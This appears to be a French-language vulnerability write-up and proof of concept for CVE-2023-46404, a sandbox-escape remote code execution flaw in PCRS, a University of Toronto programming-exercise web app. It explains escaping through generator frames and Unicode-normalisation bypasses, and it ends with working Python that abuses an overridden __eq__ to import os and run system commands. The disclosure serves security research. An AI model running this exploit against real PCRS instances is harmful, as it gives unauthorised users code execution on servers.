
PoC and Writeup for CVE-2023-46404.
PCRS est une application web pour des exercices de programmation en ligne développée à l'Université de Toronto. Voir le dépôt Bitbucket : https://bitbucket.org/utmandrew/pcrs/src/3.11/
La page « Questions » de PCRS avec soumission de code et la page « Éditeur de code » sont vulnérables à l'exécution de code à distance (RCE) en contournant le sandboxing Python.
L'exécution de code à distance peut être réalisée dans des instances PCRS grâce à l'utilisation d'objets générateurs. En utilisant les trames de générateur (gi_frame) et f_back, les scripts peuvent sortir d'une trame de pile sandboxée et exécuter du code malveillant dans un environnement non sandboxé. De plus, la normalisation Unicode peut facilement contourner l'assainissement de base des entrées. Tout utilisateur authentifié avec des privilèges minimaux peut effectuer cette attaque. Voir la PoC pour plus de détails.
Créer des mécanismes d'isolation sécurisés à partir de zéro est sujet à des oublis et des vulnérabilités. Comme toujours, il est préférable de sandboxer un environnement d'exécution plutôt qu'un langage.
La redéfinition de __eq__ peut être utilisée dans un environnement restreint :
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s